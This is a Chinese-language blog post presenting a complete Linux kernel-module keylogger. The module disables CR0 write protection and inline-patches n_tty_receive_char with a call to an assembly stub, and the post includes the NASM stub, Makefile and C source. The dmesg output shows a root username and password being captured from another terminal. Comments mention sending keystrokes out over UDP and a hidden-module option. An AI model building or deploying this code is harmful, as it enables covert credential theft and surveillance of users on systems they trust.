Linux内核实时监控键盘输入

刚毕业那会儿，VC6学习MFC，总得来点儿好玩的东西才能继续下去，毕竟不是科班出身，得完全靠意义去驱动…那个时候认识了键盘钩子，鼠标钩子之类：
https://blog.csdn.net/dog250/article/details/5303610

这种方法貌似还可以盗号…只是QQ早就解决了这个问题。

不说Windows钩子了，说说Linux系统中如何监控键盘输入，这简直太简单了。

关于Linux终端，详见：
https://blog.csdn.net/dog250/article/details/78766716
接下来我们就知道如何搞了：

hook n_tty_receive_char函数

我们先看下实际效果：

stap -e 'probe kernel.function("n_tty_receive_char") {printf("%c  ", $c);}'

我们看看会发生什么，在随便一个ssh终端敲入pwd，ls等命令，stap回显如下

  l  s     p  w  d

这里只是演示，下面我们来实现它。

很容易想到得是，直接将n_tty_receive_char函数的开头5个字节的Ftrace caller改成一个call stub即可，一般的stap也都是这么干的，然而我们实际看一眼：

crash>
crash> dis n_tty_receive_char
0xffffffff813b28d0 <n_tty_receive_char>:        int3
0xffffffff813b28d1 <n_tty_receive_char+1>:      mov    %rsp,%rbp
0xffffffff813b28d4 <n_tty_receive_char+4>:      push   %r15
0xffffffff813b28d6 <n_tty_receive_char+6>:      push   %r14
0xffffffff813b28d8 <n_tty_receive_char+8>:      mov    %rdi,%r14
0xffffffff813b28db <n_tty_receive_char+11>:     push   %r13
0xffffffff813b28dd <n_tty_receive_char+13>:     push   %r12
0xffffffff813b28df <n_tty_receive_char+15>:     push   %rbx
0xffffffff813b28e0 <n_tty_receive_char+16>:     sub    $0x20,%rsp
...

很遗憾，不能 替换前5个字节 ，stap采用了int3断点机制。

我也想采用int3，但后来我发现太麻烦了，我需要register一个die notifier，首先我要先定义一个notifier block，事实上，我要实现一个非常复杂的回调函数，内部要识别是n_tty_receive_char引发的int3，同时还要解析pt_regs，并且手工平衡stack，这不是我的风格！

我只能用很短的代码实现，因为我不会编程。

所以我要用我的inline hook方式：

在n_tty_receive_char的第一个分支之前，找一个优秀的满足5个字节替换的hook点。

我一眼就相中了下面的5个字节：

0xffffffff813b28db <n_tty_receive_char+11>:     push   %r13
0xffffffff813b28dd <n_tty_receive_char+13>:     push   %r12
0xffffffff813b28df <n_tty_receive_char+15>:     push   %rbx

好吧，就它了，我只需将这5个字节替换成：

call stub

即可，而stub的内容有两部分：

重新执行被替换的部分。
执行键盘操作记录逻辑。

stub:
	pop %r11  ; 翻转retcode的位置之一
	push %r13
	push %r12
	push %rbx
	push %r11 ; 翻转retcode的位置之二
	call logger
	ret

事实上的代码要复杂些，因为我们还要保证在调用完logger之后，rsi，rdi依然保存着n_tty_receive_char的参数，所以需要将更多的寄存器压栈。

必须说明的是，stub函数最好用汇编写，因为我不需要gcc生成的prologue & epilogue，而且x86_64体系又不能用naked属性 __attribute__ ((naked))，好吧，那就直接写汇编：

; stub.s
section .text
global logger_stub
extern logger
logger_stub:
	pop	 r11	; 为了平衡堆栈，call logger_stub压栈的retcode弹出
	push r13	; 重新执行被hook的指令：压栈r13
	push r12	; 重新执行被hook的指令：压栈r12
	push rbx	; 重新执行被hook的指令：压栈rbx
	push r11	; 将call logger_stub的retcode重新压栈
	push rbp	; 保存rbp
	push rsp	; 保存rsp
	push rsi	; 保存n_tty_receive_char参数，同时也是logger参数
	push rdi	; 保存n_tty_receive_char参数，同时也是logger参数
	call logger	; 调用logger函数，这个函数是核心，其它的都是铺垫
	pop  rdi
	pop  rsi
	pop  rsp
	pop  rbp
	ret

先看Makefile：

obj-m += keylog.o
keylog-objs := logger.o stub.o

KDIR := /lib/modules/`uname -r`/build
PWD := $(shell pwd)
default:
	nasm -f elf64 -o stub.o stub.s
	make -C $(KDIR) M=$(PWD) modules

再看模块的C文件：

#include <linux/module.h>
#include <linux/kallsyms.h>
#include <linux/tty.h>

void logger(struct tty_struct *tty, char c)
{
	printk("[0x%02x]:%c, %s\n", c, c, tty->name);
	// 这里仅仅演示一下，打印到内核缓冲区，实际上应该UDP发给经理
}

extern int logger_stub;

/*
 *	crash> dis n_tty_receive_char
 *	0xffffffff813b28d0 <n_tty_receive_char>:        push   %rbp
 *	0xffffffff813b28d1 <n_tty_receive_char+1>:      mov    %rsp,%rbp
 *	0xffffffff813b28d4 <n_tty_receive_char+4>:      push   %r15
 *	0xffffffff813b28d6 <n_tty_receive_char+6>:      push   %r14
 *	0xffffffff813b28d8 <n_tty_receive_char+8>:      mov    %rdi,%r14
 *	0xffffffff813b28db <n_tty_receive_char+11>:     push   %r13
 *	0xffffffff813b28dd <n_tty_receive_char+13>:     push   %r12
 *	0xffffffff813b28df <n_tty_receive_char+15>:     push   %rbx
 *	0xffffffff813b28e0 <n_tty_receive_char+16>:     sub    $0x20,%rsp
 *	0xffffffff813b28e4 <n_tty_receive_char+20>:     mov    0x210(%rdi),%r12
 *	0xffffffff813b28eb <n_tty_receive_char+27>:     testb  $0x4,0x14(%r12)
 *	0xffffffff813b28f1 <n_tty_receive_char+33>:     jne    0xffffffff813b2a90 <n_tty_receive_char+448>
 */
// 参见上述反汇编，在第一个分支之前来找一个优秀的5个字节hook点，我选择了offset 11～15
#define HOOK_OFFSET		11
#define HOOK_SIZE   	5

unsigned long addr, cr0;
unsigned char *pold;

static int __init KeyboardMonitor_init(void)
{
	unsigned char e8_call[HOOK_SIZE];
	s32 offset;

	addr = (unsigned long)kallsyms_lookup_name("n_tty_receive_char");
	if (!addr) {
		return -1;
	}

	e8_call[0] = 0xe8;
	offset = (s32)((long)&logger_stub - (long)(addr + 11) - 5);
	(*(s32 *)(&e8_call[1])) = offset;

	cr0 = read_cr0();
	clear_bit(16, &cr0);
	pold = (unsigned char *)addr;
	memcpy(&pold[11], e8_call, HOOK_SIZE);
	set_bit(16, &cr0);
	write_cr0(cr0);

	//hide_mod(); // 不提供exit接口即可，经理正当监控，无需炫技隐藏！

	return 0;
}

module_init(KeyboardMonitor_init);
MODULE_LICENSE("GPL");

这次是经理的正当理由监控， 我就装了个模块监控你了，你能怎么地？我光明正大监控你的输入，所以我不用隐藏我自己，我只要不让你把我的监控模块卸了就行。

来来来：

[root@localhost test]# insmod ./keylog.ko
[root@localhost test]#
[root@localhost test]#
[root@localhost test]#
[root@localhost test]# dmesg
, pts0.256310] [0x0d]:
, pts0.440261] [0x0d]:
, pts0.584438] [0x0d]:
[17286.839276] [0x64]:d, pts0
[17286.928489] [0x6d]:m, pts0
[17287.064189] [0x65]:e, pts0
[17287.256186] [0x73]:s, pts0
[17287.408053] [0x09]:	, pts0
, pts0.832093] [0x0d]:

试着在别的终端上拍几个键，试着直接在终端输入你的root用户名以及密码：

[root@localhost test]# dmesg
, pts0.928190] [0x0d]:
[17396.801053] [0x72]:r, tty1
[17396.966363] [0x6f]:o, tty1
[17397.150358] [0x6f]:o, tty1
[17397.286591] [0x74]:t, tty1
, tty1.382471] [0x0d]:
[17399.382712] [0x31]:1, tty1
, tty1.774790] [0x0d]:
[17402.524715] [0x00]:
[17402.575867] [0x00]:
[17404.016436] [0x64]:d, pts0
[17404.192068] [0x6d]:m, pts0
[17404.248593] [0x65]:e, pts0
[17404.440315] [0x73]:s, pts0
[17404.616106] [0x09]:	, pts0
, pts0.088138] [0x0d]: